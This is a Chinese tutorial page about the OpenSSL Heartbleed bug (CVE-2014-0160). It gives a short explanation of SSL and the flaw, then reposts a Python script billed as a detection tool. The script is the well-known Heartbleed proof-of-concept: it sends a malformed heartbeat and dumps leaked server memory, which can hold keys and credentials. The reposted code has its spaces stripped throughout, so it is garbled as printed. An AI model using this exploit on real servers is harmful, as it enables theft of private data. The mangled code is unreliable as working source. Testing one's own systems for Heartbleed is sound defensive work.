zl程序教程

您现在的位置是:首页 >  后端

当前栏目

一个检测OpenSSL心脏出血漏洞的Python脚本分享

Python漏洞 一个 分享 脚本 检测 OpenSSL 心脏
2023-06-13 09:15:24 时间

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

复制代码代码如下:


#!/usr/bin/python

#QuickanddirtydemonstrationofCVE-2014-0160byJaredStafford(jspenguin@jspenguin.org)
#Theauthordisclaimscopyrighttothissourcecode.

importsys
importstruct
importsocket
importtime
importselect
importre
fromoptparseimportOptionParser

options=OptionParser(usage="%progserver[options]",description="TestforSSLheartbeatvulnerability(CVE-2014-0160)")
options.add_option("-p","--port",type="int",default=443,help="TCPporttotest(default:443)")

defh2bin(x):
   returnx.replace("","").replace("\n","").decode("hex")

hello=h2bin("""
16030200 dc010000d8030253
435b909d9b720bbc 0cbc2b92a84897cf
bd3904cc160a8503 909f770433d4de00
0066c014c00ac022 c021003900380088
0087c00fc0050035 0084c012c008c01c
c01b00160013c00d c003000ac013c009
c01fc01e00330032 009a009900450044
c00ec004002f0096 0041c011c007c00c
c002000500040015 0012000900140011
00080006000300ff 01000049000b0004
03000102000a0034 0032000e000d0019
000b000c00180009 000a001600170008
0006000700140015 0004000500120013
000100020003000f 0010001100230000
000f000101                                
""")

hb=h2bin("""
1803020003
014000
""")

defhexdump(s):
   forbinxrange(0,len(s),16):
       lin=[cforcins[b:b+16]]
       hxdat="".join("%02X"%ord(c)forcinlin)
       pdat="".join((cif32<=ord(c)<=126else".")forcinlin)
       print" %04x:%-48s%s"%(b,hxdat,pdat)
   print

defrecvall(s,length,timeout=5):
   endtime=time.time()+timeout
   rdata=""
   remain=length
   whileremain>0:
       rtime=endtime-time.time()
       ifrtime<0:
           returnNone
       r,w,e=select.select([s],[],[],5)
       ifsinr:
           data=s.recv(remain)
           #EOF?
           ifnotdata:
               returnNone
           rdata+=data
           remain-=len(data)
   returnrdata

 
defrecvmsg(s):
   hdr=recvall(s,5)
   ifhdrisNone:
       print"UnexpectedEOFreceivingrecordheader-serverclosedconnection"
       returnNone,None,None
   typ,ver,ln=struct.unpack(">BHH",hdr)
   pay=recvall(s,ln,10)
   ifpayisNone:
       print"UnexpectedEOFreceivingrecordpayload-serverclosedconnection"
       returnNone,None,None
   print"...receivedmessage:type=%d,ver=%04x,length=%d"%(typ,ver,len(pay))
   returntyp,ver,pay

defhit_hb(s):
   s.send(hb)
   whileTrue:
       typ,ver,pay=recvmsg(s)
       iftypisNone:
           print"Noheartbeatresponsereceived,serverlikelynotvulnerable"
           returnFalse

       iftyp==24:
           print"Receivedheartbeatresponse:"
           hexdump(pay)
           iflen(pay)>3:
               print"WARNING:serverreturnedmoredatathanitshould-serverisvulnerable!"
           else:
               print"Serverprocessedmalformedheartbeat,butdidnotreturnanyextradata."
           returnTrue

       iftyp==21:
           print"Receivedalert:"
           hexdump(pay)
           print"Serverreturnederror,likelynotvulnerable"
           returnFalse

defmain():
   opts,args=options.parse_args()
   iflen(args)<1:
       options.print_help()
       return

   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   print"Connecting..."
   sys.stdout.flush()
   s.connect((args[0],opts.port))
   print"SendingClientHello..."
   sys.stdout.flush()
   s.send(hello)
   print"WaitingforServerHello..."
   sys.stdout.flush()
   whileTrue:
       typ,ver,pay=recvmsg(s)
       iftyp==None:
           print"ServerclosedconnectionwithoutsendingServerHello."
           return
       #Lookforserverhellodonemessage.
       iftyp==22andord(pay[0])==0x0E:
           break

   print"Sendingheartbeatrequest..."
   sys.stdout.flush()
   s.send(hb)
   hit_hb(s)

if__name__=="__main__":
   main()